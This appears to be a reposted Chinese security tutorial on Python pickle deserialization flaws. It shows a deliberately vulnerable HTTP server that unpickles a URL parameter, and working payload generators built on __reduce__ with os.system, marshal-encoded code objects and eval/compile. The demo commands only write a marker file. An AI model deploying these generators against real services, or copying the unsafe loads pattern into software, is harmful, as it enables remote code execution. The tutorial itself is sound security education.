php调用python pkl_Python Pickle的任意代码执行漏洞实践和Payload构造
*原創作者:bit4@勾陳安全實驗室,MottoIN原創文章未經許可禁止轉載
0x01 Pickle的典型應用場景
一般在什么場景下需要用到Pickle?通常在解析認證token,session的時候。(如果你知道更多,歡迎留言補充,感謝!)現在很多web都使用redis、mongodb、memcached等來存儲session等狀態信息。P神的文章就有一個很好的redis+python反序列化漏洞的很好例子:掌閱iReader某站Python漏洞挖掘 | 離別歌。
可能將對象Pickle后存儲成磁盤文件。
可能將對象Pickle后在網絡中傳輸。
可能參數傳遞給程序,比如sqlmap的代碼執行漏洞
python sqlmap.py --pickled-options "Y29zCnN5c3RlbQooUydkaXInCnRSLg=="
0x02 如何構造Payload1.執行系統命令的Payload
首先構造一個簡單的包含漏洞的代碼。
后續的驗證過程中,將生成的Payload放到poc.pickle文件中,使用該代碼來讀取PoC驗證效果(我將其保存為dopickle.py)。
__author__ = 'bit4'
import pickle
pickle.load(open('./poc.pickle'))
值得注意的是,pickle有load和loads2個方法,load需要的參數是文件句柄,loads所需要的參數是字符串。
pickle允許任意對象去定義一個__reduce__方法來申明怎么序列化這個對象。這個方法返回一個字符串或者元組來描述當反序列化的時候該如何重構。
使用os.system執行命令的payload
#!/usr/bin/env python
#coding: utf-8
__author__ = 'bit4'
import cPickle
import os
class genpoc(object):
def __reduce__(self):
s = """echo test >poc.txt""" #要執行的命令
return os.system, (s,) #os.system("echo test >poc.txt")
e = genpoc()
poc = cPickle.dumps(e)
print poc
輸出內容,也就是Payload:
cnt
system
p1
(S'echo test >poc.txt'
p2
tRp3
.我們將如上生成的pyload放到poc.pickle文件中,然后執行驗證代碼dopickle.py,成功執行了"echo test >poc.txt"。
現在問題來了,如何在實際的web環境中使用這些payload呢?
我們先實現一個簡單的httpserver(dopicklehttpserver.py):
#coding:utf-8
__author__ = 'bit4'
import BaseHTTPServer
import urllib
import cPickle
class ServerHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(self):
if "?payload" in self.path:
query= urllib.splitquery(self.path)
action = query[1].split('=')[1] #這種寫法是一個坑,如果參數payload的值中包含了等號,將導致不正確,pickle將報“insecure string pickle”錯誤。
#action = query[1].replace("payload=","") #這種寫法可以避免=的問題,但實際的項目中肯定不是這么寫,求指教~
print action
try:
x = cPickle.loads(action) #string argv
content = x
except Exception,e:
print e
content = e
else:
content = "hello World"
self.send_response(200)
self.send_header("Content-type","text/html")
self.end_headers()
self.wfile.write("")
self.wfile.write("%s" % content)
self.wfile.write("")
if __name__ == '__main__':
srvr = BaseHTTPServer.HTTPServer(('',8000), ServerHandler)
print 'started httpserver...'
srvr.serve_forever()
運行以上代碼后,通過如下URL訪問web,傳遞Payload給服務器。
127.0.0.1:8000/?payload=xxxx
怎么將Payload放到參數中呢,一個直接的想法是使用\n來換行、使用url編碼,Payload如下:
使用\n代替
cnt\nsystem\np1\n(S'echo test >poc.txt'\np2\ntRp3\n.
使用URl編碼(換行符是%0A)
cnt%0Asystem%0Ap1%0A(S'echo test >poc.txt'%0Ap2%0AtRp3%0A.
使用URl編碼(換行符是%0d%0a)
cnt%0d%0asystem%0d%0ap1%0d%0a(S%27echo+test+%3epoc.txt%27%0d%0ap2%0d%0atRp3%0d%0a
經過測試,第二種,使用%0A做換行符的是有效的payload,得到了成功執行。(但其實想想也該是它,作為url中的參數,當然該使用url編碼啊)
http://127.0.0.1:8000/?payload=cnt%0Asystem%0Ap1%0A(S%27echo%20test%20%3Epoc.txt%27%0Ap2%0AtRp3%0A.
在PHP中還有有一種比較常見的思路,通過base64編碼后傳遞,如下這種,那我們可以在python中借鑒。這部分內容包含在了“執行任意python代碼的payload”小節中。
http://www.xxx.com?path=php://filter/write=convert.base64-decode/resource=1.php
2.執行任意python代碼執行payload
我們的目標是實現任意代碼執行,所以我們要序列化的對象成了code類型,但是pickle是不能序列化code對象的。
但幸運的是,從python2.6起,包含了一個可以序列化code對象的模塊--Marshal。由于python可以在函數當中再導入模塊和定義函數,所以我們可以將自己要執行的代碼都寫到一個函數里foo(), 所以有了如下代碼:
__author__ = 'bit4'
import marshalimport base64
def foo():#you should write your code in this function
import os
def fib(n):
if n <= 1:
return n
return fib(n-1) + fib(n-2)
print 'fib(10) =', fib(10)
os.system('echo anycode >>poc.txt')
print base64.b64encode(marshal.dumps(foo.func_code))
#print cPickle.dumps(foo.func_code) #TypeError: can't pickle code objects
想要這段輸出的base64的內容得到執行,我們需要如下代碼:
(types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ''))()
寫得更容易閱讀點:
code_str = base64.b64decode(code_enc)
code = marshal.loads(code_str)
func = types.FunctionType(code, globals(), '')
func()
把這段代碼轉換成pickle后的格式,需要了解pickle的數據格式和指令。詳細的轉換過程可以參考:https://www.cs.uic.edu/~s/musings/pickle/c:讀取新的一行作為模塊名module,讀取下一行作為對象名object,然后將module.object壓入到堆棧中。
(:將一個標記對象插入到堆棧中。為了實現我們的目的,該指令會與t搭配使用,以產生一個元組。
t:從堆棧中彈出對象,直到一個“(”被彈出,并創建一個包含彈出對象(除了“(”)的元組對象,并且這些對象的順序必須跟它們壓入堆棧時的順序一致。然后,該元組被壓入到堆棧中。
S:讀取引號中的字符串直到換行符處,然后將它壓入堆棧。
R:將一個元組和一個可調用對象彈出堆棧,然后以該元組作為參數調用該可調用的對象,最后將結果壓入到堆棧中。
.:結束pickle。
最終的可以執行任意代碼的payload生成器(第一種),foo()函數中的部分是你應該自己編寫替換的代碼:
def foo():#you should write your code in this function
import os
def fib(n):
if n <= 1:
return n
return fib(n-1) + fib(n-2)
print 'fib(10) =', fib(10)
os.system('echo anycode >>poc.txt')
print """ctypesFunctionType(cmarshalloads(cbase64b64decode(StRtRc__builtin__globals(tRS''tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))
將以上代碼生成的payload分別用于dopickle.py和dopicklehttpserver.py中進行測試。均成功執行命令。
注意:這里有一個坑,如上的dopicklehttpserver.py寫法中,如果生成的payload中有等號(base64經常有等號),將導致參數獲取不正確,而pickle.loads()的時候, pickle將報“insecure string pickle”錯誤。
如何正確從請求中獲取參數,請知道的大俠留言告訴我。
使用eval函數,但是它的一個限制是只接受表達式,不能包含函數和類的聲明。(使用pickle序列化后的代碼對象就達到了要求???)
執行任意代碼的payload生成器(第二種):
try:
import cPickle as pickle
except ImportError:
import pickle
from sys import argv
def picklecompiler(sourcefile):
sourcecode = file(sourcefile).read()
return "c__builtin__\neval\n(c__builtin__\ncompile\n(%sS''\nS'exec'\ntRtR." % (pickle.dumps( sourcecode )[:-4],)
def usage():
print '''usage: python%sfilename''' % argv[0]
if __name__ == "__main__":
if len(argv) == 2:
print picklecompiler(argv[1])
else:
usage()
對以上代碼生成的payload進行了測試,也只是成功執行了未包含函數和類的python代碼,包含函數和類的則為執行成功。
3.終極payload生成器
Paper:
老外寫的一個payload生成工具,地址為sensepost/anapickle 該工具中包含了大量的成熟payload,有了以上知識,不難理解其中的代碼,也可以自己進行修改了。
0x03 參考
*原創作者:bit4@勾陳安全實驗室,MottoIN原創文章未經許可禁止轉載
總結
以上是生活随笔為你收集整理的php调用python pkl_Python Pickle的任意代码执行漏洞实践和Payload构造的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python win10还是linux_
- 下一篇: sql 问号的使用 php_PHP中bi